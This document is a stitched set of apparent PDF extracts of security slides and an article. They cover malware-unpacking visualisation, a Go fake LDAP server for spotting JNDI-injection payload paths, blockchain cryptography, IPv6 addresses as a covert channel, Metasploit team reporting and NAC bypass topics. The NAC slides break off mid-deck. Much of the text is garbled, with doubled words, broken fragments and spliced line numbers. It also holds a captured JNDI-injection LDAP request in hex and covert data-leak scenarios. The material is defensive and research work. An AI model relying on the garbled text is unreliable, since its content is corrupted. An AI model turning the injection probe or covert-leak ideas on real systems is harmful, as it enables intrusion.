Bochs unpacker Problems Problems ◦ Detection of virtual machines is easy ◦ Intel CPU never traditionally designed for ◦ Intel CPU never traditionally designed for virtualization ◦ Do not emulate x86 bug-for-bug Do not emulate x86 bug for bug OS Integrated Monitoring OS Integrated Monitoring OS Integrated Monitoring OS Integrated Monitoring Saffron, OllyBonE y ◦ Page-fault handler based debugger ◦ Abuses the supervisor bit on memory p y pages ◦ High-level executions per page Problems ◦ Destabilizes the system Destabilizes the system ◦ Need dedicated hardware ◦ Fine-grain monitoring not possible Fine grain monitoring not possible Fully Hardware Virtualizations Fully Hardware Virtualizations Fully Hardware Virtualizations Fully Hardware Virtualizations Ether: A. Dinaburg, P. Royal ◦ Xen based hypervisor system ◦ Base functions for monitoring S t ll System calls Instruction traces Memory Writes Memory Writes ◦ All interactions done by memory page mapping Problems ◦ Unpacking code primitive ◦ Dumps mangled and not possible to dissassemble ◦ Old version of Xen hypervisor Disassembly and Code Analysis Disassembly and Code Analysis Disassembly and Code Analysis Disassembly and Code Analysis Most nebulous portion of the process Largely depends on intuition ◦ Example: When we reversed the MP3 Cutter and MIRC programs ◦ Takes time and experience L ki t bl i t di Looking at assembly is tedious Suffers from “not seeing the forest f th t ” d from the trees” syndrome Analyst fatigue – Level of attention required yields few results required yields few results Find Interesting and Relevant Find Interesting and Relevant P i f h E bl P i f h E bl Portions of the Executable Portions of the Executable Like disassembly, this relies on a lot of y intuition and experience Typical starting points: Typical starting points: ◦ Look for interesting strings ◦ Look for API calls Look for API calls ◦ Examine the interaction with the OS This portion is fundamentally This portion is fundamentally imprecise, tedious, and often frustrating for beginners and experts frustrating for beginners and experts Contributions Contributions Contributions Contributions Modifications to Ether ◦ Improve malware unpacking ◦ Enable advanced tracing mechanisms ◦ Automate much of the tedious portions Visualizing Execution for Reversing d A l i (VERA) and Analysis (VERA) ◦ Speed up disassembly and finding interesting portions of an executable interesting portions of an executable ◦ Faster identification of the Original Entry Point o t Ether System Architecture Ether System Architecture Ether System Architecture Ether System Architecture Extensions to Ether Extensions to Ether Extensions to Ether Extensions to Ether Removed unpacking code from h i i hypervisor into userspace B d l i Better user mode analysis PE R i t All f PE Repair system – Allows for disassembly of executables Added enhanced monitoring system for executables executables Results Results Results Results Close to a truly covert analysis system y y y ◦ Ether is nearly invisible ◦ Still subject to bluepill detections j p Fine-grain resolution of program execution execution Application memory monitoring and full analysis capabilities full analysis capabilities Dumps from Ether can now be loaded in IDA Pro without modification in IDA Pro without modification Open Problems Open Problems Open Problems Open Problems Unpacking process produces lots of candidate dump files f O Need to figure out what the OEP is I t b ildi i till i Import rebuilding is still an issue N th t th i i t l f t i Now that there is a nice tool for tracing programs covertly, we need to do analysis analysis Visualization of Trace Data Visualization of Trace Data Visualization of Trace Data Visualization of Trace Data Goals: ◦ Quickly visually subvert software armoring ◦ Identify modules of the program Initialization Main loops End of unpacking code End of unpacking code ◦ Figure out where the self-modifying code ends (OEP detection) e ds (O detect o ) ◦ Discover dynamic runtime program behavior ◦ Integrate with existing tools g g Visualizing the OEP Problem Visualizing the OEP Problem Visualizing the OEP Problem Visualizing the OEP Problem Each block (vertex) represents a basic block executed in the user mode code Each line represents a transition Th thi k th li th it The thicker the line, the more it was executed Colors represent areas of memory execution execution VERA VERA VERA VERA Visualization of Executables for Reversing and Analysis Windows MFC Application Integrates with IDA Pro Fast, small memory footprint VERA Architecture VERA Architecture VERA Architecture VERA Architecture Visualizing Packers Visualizing Packers Visualizing Packers Visualizing Packers Memory regions marked for PE y g heuristics Demo! Demo! Demo! Demo! Netbull Netbull Virus (Not Packed) Netbull Virus (Not Packed) Netbull Virus (Not Packed) Virus (Not Packed) Netbull Netbull Zoomed View Netbull Zoomed View Netbull Zoomed View Zoomed View Visualizing Packers Visualizing Packers Visualizing Packers Visualizing Packers Memory regions marked for PE y g heuristics UPX UPX UPX UPX UPX UPX - OEP UPX OEP UPX OEP OEP ASPack ASPack ASPack ASPack FSG FSG FSG FSG MEW MEW MEW MEW TeLock TeLock TeLock TeLock Future Work Future Work Future Work Future Work General GUI / bug fixes g Integration with IDA Pro Memory access visualization Memory access visualization System call integration F ti b d i Function boundaries Interactivity with unpacking process Modify hypervisor to work with WinDBG, OllyDbg, IDA Debugger Conclusions Conclusions Conclusions Conclusions Visualizations make it easy to identify y y the OEP No statistical analysis of data needed No statistical analysis of data needed Program phases readily identified Graphs are relatively simple Graphs are relatively simple Preliminary user study shows tool h ld i f di holds promise for speeding up reverse engineering Questions? Questions? Questions? Questions? These slides are out of date! Find the latest ones at: These slides are out of date! Find the latest ones at: http://www.offensivecomputing.net/
pdf
检测ldap协议以及获取相关字段的⼀种⽅式 JNDI注⼊常⽤rmi和ldap协议去打,本⽂主要讲述通过go语⾔检测ldap协议以及获取相关字段的⼀种⽅式 通过跟4ra1n师傅的⽂章的学习和与他本⼈的交流,他的检测思路是⽤go语⾔模拟回包,然后分析数据包,获取其中需要的路径字段。因为要确定⽬标是哪个payload⽣效,所以获取ldap/rmi请求的路 径是必要的。 我在实现他⽂章⾥的思路的时候发现⼀些不理解的地⽅ 模拟扫描器打payload: fake server 端: 我打印出请求路径的hex wireshark抓包: 可以看到这个#look的hex跟上⾯fake server端不⼀样,但是fake server端的hex转成string后依然是#look 个⼈的实现思路 所以我选择⾃⼰再⽤真正的ldapserver实现⼀次这个检测思路 抓包ldap⼀次连接的数据包 client -> server data : 300c020101600702010304008000 server -> client data: 300c02010161070a010004000400 client -> server data: 30818e0201026481880405236c6f6f6b307f3016040d6a617661436c6173734e616d6531050403666f6f3028040c6a617661436f64654261736531180416687474703a2f2f3132372e302e302e313a363636362f30240 wireshark对数据包进⾏梳理: 画⼀个示意图: 1 分析到这⾥已经拿到想要的东⻄了,这个searchRequest⾥⾯就包含了路径参数,所以接下来起⼀个ldap去抓这个searchRequest ldapserver这个库可以直接帮助起⼀个ldap server并且⾃⼰可以构建返回包 所以调⽤ldap.Message.GetSearchRequest()去获取 发包: 拿到路径参数 后续作为结果返回的话,是要拿到这个结果,所以⽤⼀个channel把这个结果装起来,⽤于传递 import ( import ( "fmt" "fmt" ldap "github.com/vjeantet/ldapserver" ldap "github.com/vjeantet/ldapserver" "io/ioutil" "io/ioutil" "log" "log" "os" "os" "os/signal" "os/signal" "syscall" "syscall" )) func main() { func main() { //关闭log //关闭log ldap.Logger = log.New(ioutil.Discard,"",0) ldap.Logger = log.New(ioutil.Discard,"",0) server := ldap.NewServer() server := ldap.NewServer() routes := ldap.NewRouteMux() routes := ldap.NewRouteMux() routes.Bind(handleBind) routes.Bind(handleBind) routes.Search(handleSearch) routes.Search(handleSearch) server.Handle(routes) server.Handle(routes) go server.ListenAndServe("127.0.0.1:9999") go server.ListenAndServe("127.0.0.1:9999") ch := make(chan os.Signal) ch := make(chan os.Signal) signal.Notify(ch, syscall.SIGINT, syscall.SIGTERM) signal.Notify(ch, syscall.SIGINT, syscall.SIGTERM) <-ch <-ch close(ch) close(ch) server.Stop() server.Stop() }} func handleBind(w ldap.ResponseWriter, m *ldap.Message) { func handleBind(w ldap.ResponseWriter, m *ldap.Message) { res := ldap.NewBindResponse(ldap.LDAPResultSuccess) res := ldap.NewBindResponse(ldap.LDAPResultSuccess) w.Write(res) w.Write(res) }} func handleSearch(w ldap.ResponseWriter, m *ldap.Message) { func handleSearch(w ldap.ResponseWriter, m *ldap.Message) { r := m.GetSearchRequest() r := m.GetSearchRequest() fmt.Println("protocol:ldap path:" + r.BaseObject()) fmt.Println("protocol:ldap path:" + r.BaseObject()) }} 11 22 33 44 55 66 77 88 99 10 10 11 11 12 12 13 13 14 14 15 15 16 16 17 17 18 18 19 19 20 20 21 21 22 22 23 23 24 24 25 25 26 26 27 27 28 28 29 29 30 30 31 31 32 32 33 33 34 34 35 35 36 36 37 37 38 38 39 39 40 40 41 41 42 42 43 43 package main package main 11 22 2 var resultChan = make(chan string,100) var resultChan = make(chan string,100) func main() { func main() { ... ... go func() { go func() { for { for { select { select { case result := <- resultChan: case result := <- resultChan: fmt.Println(result) fmt.Println(result) } } } } }() }() ... ... }} func handleSearch(w ldap.ResponseWriter, m *ldap.Message) { func handleSearch(w ldap.ResponseWriter, m *ldap.Message) { r := m.GetSearchRequest() r := m.GetSearchRequest() resultChan <- string(r.BaseObject()) resultChan <- string(r.BaseObject()) }} 33 44 55 66 77 88 99 10 10 11 11 12 12 13 13 14 14 15 15 16 16 17 17 18 18 19 19 20 20 21 21 22 22 23 23 24 24 3
pdf
Blockchain Security: From Curves to Contracts Dr. Jimmy Chen, IKV & NTU Alex Liu, AMIS & MaiCoin HITCON Pacific 2016 Aspects of Security • ECDSA for Transaction Signing (including hardware signing) • Hash Function Collision Resistance • Privacy Preserving Features (Zero-Knowledge Proofs) • Consensus Algorithms • Smart Contract Correctness 2 Introduction to Blockchain 3 Source: http://technews.tw/2016/04/10/blockchain-applied-on-wall-street 4 Source: http://finance.technews.tw/2016/04/12/blockchain-bank-fintech 5 Source: https://kknews.cc/tech/m4kmbp.html 6 7 http://coinmarketcap.com Elliptic Curve 橢圓曲線 • The rich and deep theory of Elliptic Curves has been studied by mathematicians over 150 years • Elliptic Curve over R : y2 = x3 + ax + b Point Addition Image Courtesy: http://www.embedded.com/design/safety-and-security/4396040/An-Introduction-to-Elliptic-Curve-Cryptography Point Doubling 8 Curves over Prime Fields 質數體上的曲線 9 Addition: (x3, y3) = (x1, y1) + (x2, y2) Doubling: (x3, y3) = [2] (x1, y1) 2 1 2 1 2 1 1 2 3 1 2 3 1 3 1 mod 3 mod 2 mod ( ) mod y y p x x s x a p y x s x x p y s x x y p                 (addition) (doubling) 9 G(5,6) 2G 3G 4G 5G 6G 7G 8G 9G 10G 11G 12G 13G 14G 15G 16G 17G 18G 19G 20G 21G 22G 23G 24G 25G 27G 26G 30G 28G 29G The Curve used by Bitcoin and Ethereum 橢圓曲線 secp256k1 https://en.bitcoin.it/wiki/Secp256k1 256-bit prime 256-bit prime 10 Key Pairs 金鑰對 • The base point G is fixed on the given Elliptic Curve • P = [m] G • Given m, it is easy and fast to find the point P • Using “double and add” for scalar multiplication • Given P, it is extremely hard to find the integer m • Elliptic Curve Discrete Logarithm Problem (橢圓曲線離散對數問題) • A randomly generated integer m is a private key • A private key is used to sign Bitcoin transactions with ECDSA • The point P is the public key corresponding to m • A public key is used by other nodes to verify Bitcoin transactions • A Bitcoin address is the hash value of a public key P 11 Bitcoin Transactions 交易 12 Must be protected very well!!! http://bitcoin.org/bitcoin.pdf 中本聰 Hash Functions 雜湊函數 • An efficient function mapping binary strings of arbitrary length to binary strings of fixed length, called the hash-value or hash-code (also fingerprint or checksum) 13 Cryptographic Hash Functions 密碼雜湊函數 • H is a function with one-way property (pre-image resistance) if given any y, it is computationally infeasible to find any value x in the domain of H such that H(x) = y • H is collision free (resistant) if it is computationally infeasible to find x'  x such that H(x' ) = H(x) • H is a cryptographic hash function if • H has one-way property • H is collision free 14 SHA: Secure Hash Algorithm • Cryptographic hash functions published by the National Institute of Standards and Technology (NIST) as a U.S. Federal Information Processing Standard (FIPS) 15 Algorithm and variant Output size (bits) Internal state size (bits) Block size (bits) Rounds Bitwise operations Security (bits) SHA-1 FIPS 180 160 160 512 80 and, or, add, xor, rot Theoretical attack (261) SHA-2 FIPS 180 SHA-224 SHA-256 224 256 256 (8  32) 512 64 and, or, xor, shr, rot, add 112 128 SHA-384 SHA-512 SHA-512/224 SHA-512/256 384 512 224 256 512 (8  64) 1024 80 and, or, xor, shr, rot, add 192 256 112 128 SHA-3 FIPS 202 SHA3-224 SHA3-256 SHA3-384 SHA3-512 224 256 384 512 1600 (5  5  64) 1152 1088 832 576 24 and, xor, rot, not 112 128 192 256 https://en.wikipedia.org/wiki/Secure_Hash_Algorithm Bitcoin Ethereum (Keccak 256) Merkle Tree / Hash Tree 16 Block Merkle Root http://commons.wikimedia.org/wiki/File:MerkleTree1.jpg Block Chain 17 Mining 挖礦 http://bitcoin.org/bitcoin.pdf 中本聰 Cryptowise Security 18 ECDSA: Choice of Two Curves • Secp256k1 (Bitcoin and Ethereum) • Secp256r1 (NIST P-256; parameters chosen by NSA) Source: http://blog.enuma.io/update/2016/11/01/a-tale-of-two-curves-hardware-signing-for-ethereum.html 19 Possible Back Doors (per IEEE P1363) Source: Bernstein, Daniel J., Lange, Tanja, “Security Dangers of the NIST Curves.” 20 ECDSA Signing 簽章 21 k : ephemeral key http://en.wikipedia.org/wiki/Elliptic_Curve_DSA ECDSA Verification 驗章 22 http://en.wikipedia.org/wiki/Elliptic_Curve_DSA Ephemeral Key & RNG • The entropy, secrecy, and uniqueness of the DSA / ECDSA random ephemeral key k is critical • Violating any one of the above three requirements can reveal the entire private key to an attacker • Using the same value twice (even while keeping k secret), using a predictable value, or leaking even a few bits of k in each of several signatures, is enough to break DSA / ECDSA • [December 2010] The ECDSA private key used by Sony to sign software for the PlayStation 3 game console was recovered, because Sony implemented k as static instead of random 23 Ephemeral Key & RNG • [August 2013] Bugs in some implementations of the Java class SecureRandom sometimes generated collisions in k, allowing in stealing bitcoins from the containing wallet on Android app • [August 2013] 158 accounts had used the same signature nonces r value in more than one signature. The total remaining balance across all 158 accounts is only 0.00031217 BTC. The address, 1HKywxiL4JziqXrzLKhmB6a74ma6kxbSDj, appears to have stolen bitcoins from 10 of these addresses. This account made 11 transactions between March and October 2013. These transactions have netted this account over 59 bitcoins. • This issue can be prevented by deriving k deterministically from the private key and the message hash, as described by RFC 6979 24 http://www.theregister.co.uk/2013/08/12/android_bug_batters_bitcoin_wallets http://eprint.iacr.org/2013/734.pdf Side-Channel Attacks 旁通道攻擊 25 D (double) or A (add) depends on the bits of Private Key Image Courtesy https://eprint.iacr.org/2015/354.pdf ECDSA Key Extraction from Mobile Devices 26 Sourse: https://www.tau.ac.il/~tromer/mobilesc Fully extract secret signing keys from OpenSSL and CoreBitcoin running on iOS devices. CoolWallet for Hardware Signing 27 英飛凌 Infineon SLE97 安全晶片 Quantum Resistant Suite • In August, 2015, NSA announced that it is planning to transition "in the not too distant future" to a new cipher suite that is resistant to quantum attacks. • NSA advised: "For those partners and vendors that have not yet made the transition to Suite B algorithms, we recommend not making a significant expenditure to do so at this point but instead to prepare for the upcoming quantum resistant algorithm transition.“ • Prediction: Post-Quantum blockchains are appearing soon 28 https://en.wikipedia.org/wiki/NSA_Suite_B_Cryptography Collision Resistance of SHA-2, -3 Hash Functions • Blockchains depend on collision-resistant hash functions such as SHA-2 and SHA-3 for consensus (proof of work), wallet generation, and transaction signing. A successful pre-image attack would be a serious problem. • What is the chance of a successful pre-image attack on SHA-2 and SHA-3 with the help of quantum computation? • Attacks on both functions require on the order of 2128 queries in a quantum block-box model, hence suggesting than an attack is 275 billion times more expensive than a simple query analysis would suggest. Source: Amy, Di Matteo, Gheorghiu, et. al., “Estimating the Cost of Generic Quantum Pre-Image Attacks on SHA-2 and SHA-3.” 29 Zero-Knowledge Proofs for Blockchain Privacy Source: Ben-Sasson, Chiesa, Garman, et. al., “Zerocash: Decentralized Anonymous Payment from Bitcoin.” 30 Non-Crytpowise Security 31 Consensus Algorithms • Consensus tolerating Byzantine failures must satisfy: • Termination – every correct process decides some value. • Validity – if all correct processes propose the same value v, then all correct processes decide v. • Integrity – if a correct process decides v, then v must have been proposed by some correct process. • Agreement – every correct process must agree on the same value. Sources: Lamport, L., Shostak, R., Pease, M., “The Byzantine Generals Problem.” Castro, M., Liskov, B., “Practical Byzantine Fault Tolerance and Proactive Recovery.” 32 A Comparison of Consensus Algorithms • Decentralized Control – anyone is able to participate and no central authority dictates whose approval is required for consensus. • Low Latency – consensus can be reached in a few seconds. • Flexible Trust – users have the freedom to trust any combination of parties they see fit. • Asymptotic Security – safety rests on digital signatures and hash families whose parameters can be tuned to protect against adversaries with unlimited computing power. Algorithm Decentralized Control Low Latency Flexible Trust Asymptotic Security Proof of Work ✔ Proof of Stake ✔ maybe maybe PBFT ✔ ✔ ✔ Tendermint ✔ ✔ ✔ Source: Mazieres, David, “The Stellar Consensus Protocol: A Federated Model for Internet-level Consensus.” 33 Smart Contract Failures 34 The DAO Reentrancy Bug Source: Jentzsch, Christoph, “Smart Contract Security and Decentralized Governance.” 35 Establishing Security Patterns 36 Smart Contract Governance 37 Smart Contract Security Conclusions • Practice prudent design (invariants, coverage, formal verification) • Defense in depth (cap transaction amount, time delays, circuit breakers) • Design escape hatches (updateable contracts, multisig rescue)  Keep smart contracts simple (only decentralize what absolutely needs to be decentralized). We are still in the early days. 38 Miscellaneous Blockchain Exploits • DAO Reentrancy Bug (>$60 million loss) – mitigated by hard fork, time delays • Bitfinex Compromise (>$60 million loss) – advanced persistent threat • Mt. Gox (>$400 million loss) – insider incompetence/fraud • Bitstamp ($5 million loss) – social engineering • Bitcoinica ($2 million loss) – insider incompetence/fraud • Many others totaling over $1 billion in losses 39 Thank you! 40 Image Courtesy https://www.ethereum.org/ether
pdf
1 [email protected] June 30, .2007 IPv6 is Bad for Your Privacy Janne Lindqvist Helsinki University of Technology (TKK) and International Computer Science Institute (ICSI) 2 [email protected] June 30, .2007 Definition • A covert channel is a mechanism that is not designed for communication, but can nonetheless be abused to allow information to be communicated between parties. 3 [email protected] June 30, .2007 Related Work • S. J. Murdoch and S. Lewis, “Embedding covert channels into TCP/IP,” in 7th Information Hiding Workshop, June 2005. • K. Ahsan and D. Kundur, “Practical Data Hiding in TCP/IP,” in Proceedings of the Multimedia and Security Workshop at ACM Multimedia, Dec. 2002. • S. Cabuk, C. E. Brodley, and C. Shields, “IP covert timing channels: design and detection,” in Proceedings of the 11th ACM conference on Computer and communications security, Oct 2004. • C. Candolin and P. Nikander, “IPv6 source addresses considered harmful,” in Sixth Nordic Workshop on Secure IT (NordSec), Nov. 2001. • A. Escudero-Pascual, “Privacy in the next generation Internet: Data protection in the context of European Union policy,” Ph.D. dissertation, Royal Institute of Technology, 2002. 4 [email protected] June 30, .2007 IPv6 Stateless Address Autoconfiguration • Unicast IPv6 address consists of two parts – 64 bits for subnet prefix – 64 bits for interface identifier • IPv6 Stateless Address Autoconfiguration is used for autoconfiguring addresses without a server – Does not require manual configuration or DHCPv6 • Autoconfiguration mechanism to acquire link-local and global IPv6 addresses. 5 [email protected] June 30, .2007 Autoconfiguration and Duplidate Address Detection Procedure • A node chooses a tentative address candidate • The node then performs Duplicate Address Detection – The tentative address is multicasted to the link-local network. – If the address is already in use, the node using the address replies to the message and the first node chooses a different address. – If no messages are received, the address is successfully configured and can be used. 6 [email protected] June 30, .2007 Known Issues with Autoconfiguration 1/2 • A trivial Denial of Service (DoS) attack can be launched against the DAD – A malicious node just replies to all tentative address solicitations that the address is already in use – Can be detected and mitigated with heuristics • e.g. the likelihood of one collision is already negligible and so is e.g. three consecutive collisions 7 [email protected] June 30, .2007 Known Issues with IPv6 Autoconfiguration 2/2 • By default, the address interface identifier is derived from the MAC address of the network interface – This creates privacy problems (RFC 3041) • The interface identifier can be used to correlate all traffic originated from the node, and thus possibly to identify the user of the host. • The correlation can be performed by an attacker that is in path of two communicating peers, or an attacker that can access the logs of the peers. – RFC 3041 proposes privacy extensions • The identifier is chosen randomly 8 [email protected] June 30, .2007 IPv6 interface identifier as a covert channel • Since the interface identifier can be arbitrary, it can also contain useful information for an attacker. – 64 bits should be enough for everyone • However, we need to assume that the attacker can somehow compromise the operating system. – Perhaps the OS or IPsec stack vendor is malicious – Perhaps you receive an innocent looking email that installs a rootkit when you click the attachment – Perhaps somebody just walks to your computer and.. 9 [email protected] June 30, .2007 Why is this different from other covert channels? • The IPv6 address is in every packet that you send to the network. • Other possible covert channels, such as, TCP sequence numbers can be encrypted into IPsec ESP payload and thus not available for third parties. • You cannot detect the covert channel by any known means – Our conjecture is that you cannot detect it on the network in any case, only protecting the operating system will help. 10 [email protected] June 30, .2007 Attack Scenario 1 • Let’s assume a user with a WLAN device • The attacker has compromised the WLAN device and has a database of compromised devices listed on their MAC addresses. • The attacker can just passively listen to WLAN traffic and check if there are compromised devices nearby. • Identified devices divulge e.g. IPsec ESP encryption keys (or partial keys) in the IPv6 addresses. 11 [email protected] June 30, .2007 Attack Scenario 2 • The operating system contains a list of WWW sites. • The web browsing is monitored by the OS and if a site that matche the list is browsed: – Next time the computer is rebooted the IPv6 stateless address autoconfiguration contains a preconfigured bit pattern even though the address seems random. – When the address is changed, it may contain another perconfigured bit pattern. – Now, everywhere the computer is used, it tells the passive listener 12 [email protected] June 30, .2007 How to mitigate the problem? • Obvious answer is naturally: – Do not use autoconfiguration, use DHCPv6 • this is not always possible, e.g. ad hoc networks – Use an otherwise completely secure operating system • Contrary to discussion presented in the paper, SEcure Neighbor Discovery (SEND) does not help – SEND uses Cryptographically Generated Addresses, thus every bit in the interface identifier part has a “meaning”. – However, this only reduces the bandwidth of the covert channel! 13 [email protected] June 30, .2007 Conclusions • The results can be generalized: – When we introduce randomness to protocol identifiers to protect the privacy of the user, we introduce possible covert channels that 1. can be used to compromise the confidentiality of communication 2. can be used to reveal any kind of information about the user to third parties.
pdf
Multiplayer Metasploit Tag-Team Pen Testing and Reporting Ryan Linn Defcon 18 Sunday, July 4, 2010 Outline • Description of Problem • Discussion of current solutions • Overview of XMLRPC database integration • Discussion of types of objects • Demos Sunday, July 4, 2010 What’s the problem? • Pen testing/security audit teams need to share information • How do you plan further action? • What about deltas from previous tests? • No easy way to automate reporting Sunday, July 4, 2010 Analysis of current solutions • Dradis - best alternative, imports data great, but hard to further actions, no integration with other tools • Leo - geared toward one person and logging/reporting only • Wiki - multi-user but arbitrary organization, hard to convert to further action or reporting Sunday, July 4, 2010 overview of solution • Metasploit is readily available • Extend XMLRPC to facilitate DB transactions • XMLRPC extension allows central logging • All information is actionable • Data can be added real time Sunday, July 4, 2010 Types of Objects • workspaces - separate spaces for data • hosts • services • vulns • notes - general purpose data storage • events - log of commands executed • loots - phat loots lives here • clients - web clients • users - users + credentials Sunday, July 4, 2010 Workspaces • Values: • name • created_at • updated_at • boundary • description Sunday, July 4, 2010 Hosts • created_at • updated_at • address • address6 • mac • comm • name • state • os_name • os_flavor • os_sp • os_lang • arch • purpose • info • comments Sunday, July 4, 2010 Services • host • port • proto • state • name • info Sunday, July 4, 2010 Vulns • host • service • name • info Sunday, July 4, 2010 Notes • ntype • service • host • critical • seen • data Sunday, July 4, 2010 Events • host • name • seen • critical • username • info Sunday, July 4, 2010 loots • host • service • ltype • path • data • content_type • name • info Sunday, July 4, 2010 Clients • host • ua_string • ua_name • ua_ver Sunday, July 4, 2010 Users • username • crypted_password • password_salt • persistance_token • fullname • email • phone • company • prefs Sunday, July 4, 2010 Demos • Service Startup • Launching Nmap with Nsploit • Storing BeEF data in Metasploit • External report generation • Diffing workspaces Sunday, July 4, 2010 Thanks • Defcon staff and attendees for a great conference • Heather Pilkington, Scott Hilbert, Jonathan Cran, HD Moore, Egypt, anyone else I’ve forgotten • Fyodor, Wade Alcorn for Nmap and BeEF Sunday, July 4, 2010 Contact Information • IRC: sussurro • Twitter: @sussurro • Blog: blog.happypacket.net Sunday, July 4, 2010 Questions? Sunday, July 4, 2010
pdf
© Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! kNAC! August 2007 Ofir Arkin, CTO 10 (or more) ways to bypass a NAC solution © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! In Memory of Oshri Oz September 13, 1972 - May 27, 2007 © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Agenda What is NAC? NAC Basics 10 (or more) ways to bypass NAC © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Ofir Arkin CTO & Co-Founder, Insightix http://www.insightix.com Founder, The Sys-Security Group http://www.sys-security.com Computer security researcher – Infrastructure discovery • ICMP Usage in Scanning • Xprobe2 – VoIP security – Information warfare – NAC © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! What is NAC? © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! What is NAC? What problem does it aim to solve? What functions does it need to support? What type of a solution is it? – A compliance solution? – A security solution? © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! The Problem © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! The Problem An enterprise network is a complex and dynamic environment which hosts a variety of devices – Workstations, servers, printers, wireless access points, VoIP phones, switches, routers and more The stability, integrity and the regular operation of the enterprise LAN are in jeopardy by rogue, non-compliant and unmanaged elements (viruses, worms, Malware, information theft, etc.) © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! NAC History © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! NAC History © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! What is NAC? © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! What is NAC? Standardization and/or common criteria for NAC does not exist Therefore the definition of what NAC is, what components a NAC solution should (and/or must) have, and what does a NAC solution needs to adhere to varies from one vendor to another © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! What is NAC? The basic task of NAC is to control network access The secondary task of NAC is to ensure compliance As such NAC is first and foremost a security solution and only then a compliance solution NAC is a risk mitigation security solution © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! My Definition of NAC Network Access Control (NAC) is a set of technologies and defined processes, which are tasked with controlling access to the Enterprise LAN allowing only authorized and compliant devices to access and operate on the network © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! NAC Basics © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Attack Vectors © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Attack Vectors Architecture – The inner working of the different solution pieces Technology – The technology used to support the various NAC features • Element detection • Device authorization • User authentication • Assessment • Quarantine / Enforcement • Etc. Components – The various components a solution is combined from © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! 10 (or more) ways to bypass NAC © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Ways to Bypass NAC Definition Element detection – Completeness – Real-time – L2 vs. L3 Validation – Device authorization – User authentication Quarantine – Shared Vs. Private – L2 vs. L3 – How to bypass © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Ways to Bypass NAC Enforcement – Using exceptions as a bypass means – L2 vs. L3 Assessment – Qualification of elements – Client vs. client less – All-in-one client approach – The information checked as part of the assessment stage – Falsifying returning information © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! The Definition © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Definition The problem definition How one defines its NAC solution The goal of the NAC solution – Posture validation only – Access control against all devices How does the NAC solution defined? – Security – Compliance © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Definition “Trusted Network Connect (TNC)…is an open, nonproprietary standard that enables the application and enforcement of security requirements for endpoints connecting to the corporate network…enforce corporate configuration requirements and to prevent and detect malware outbreaks…” “TNC includes collecting endpoint configuration data; comparing this data against policies set by the network owner; and providing an appropriate level of network access based on the detected level of policy compliance” © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Element Detection © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Element Detection THE core feature of any NAC solution One cannot afford having an element operating on its network without knowing about it If a NAC solution cannot perform complete element detection in real-time then it does not provide a valuable line of defense No Knowledge == No Control == No Defense No Element Detection == No NAC © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Multitude of Element Detection Methods Listening to traffic – DHCP – Broadcast listeners – Out-of-band solutions – In-line devices Through an integration with a switch – 802.1x – SNMP traps Software – Client-based software © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Multitude of Element Detection Methods L2 L3 Switch Software Broadcast listeners DHCP 802.1x Agents In line devices In line devices SNMP traps Out of band solutions Out of band solutions © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Passive Element Detection What you see is only what you get – A passive network discovery and monitoring solution cannot draw conclusions about an element and/or its properties if the related network traffic does not go through the monitoring point No control over the pace of the discovery – One cannot force an element to send traffic (passively) More information: – “Risks of passive network discovery systems”, Ofir Arkin, 2005. Available from: http://sys-security.com/blog/published- materials/papers/ © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Passive Element Detection, L2 & L3 Example © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Passive Element Detection Layer-3 – Not real-time • You cannot expect an element to send traffic through the monitoring point as soon as it is introduced to the network (or to send the type of traffic the solution needs at all…) – Not complete • One cannot force an element to send traffic (passively) – An element can reside on the local subnet and not be detected Layer-2 – An element may reside on the local subnet and not be detected © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Issues with Element Detection L3 Example THE GOAL Intranet/Network • 2. User is redirected to a login page • 3a. Device is non compliant or login is incorrect • 3b. Device is “clean.” Machine gets on “clean list” and is granted access to network. CCA Server validates username and password. Also performs device and network scans to assess vulnerabilities on the device. Cisco Clean Access Server Cisco Clean Access Manager • 1. End user attempts to access a web page or uses an optional client Network access is blocked until end user provides login information. Authentication Server User is denied access and assigned to a quarantine role with access to online remediation resources. Quarantine Role Cisco Clean Access Agent (optional) Source: Cisco Clean Access presentation © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Issues with Element Detection L3 Example Branch A Scenario: 1 Headquarters with 3,000 users & 10 Branches with 1,000 users total Headquarters BEFORE AFTER Branch B Branch C Data Center Si Si Si Si etc. Branch B Branch A etc. Branch C Data Center Si Si Si Si 12 pairs 3 pairs Clean Access Servers Source: Cisco Clean Access presentation © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Issues with Element Detection L2 Example Intranet/Network Broadcast Listener Broadcast traffic © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Issues with Element Detection L2 Example Intranet/Network Broadcast Listener (1) Unicast ARP request (2) Unicast ARP reply No knowledge regarding the existence of the element © 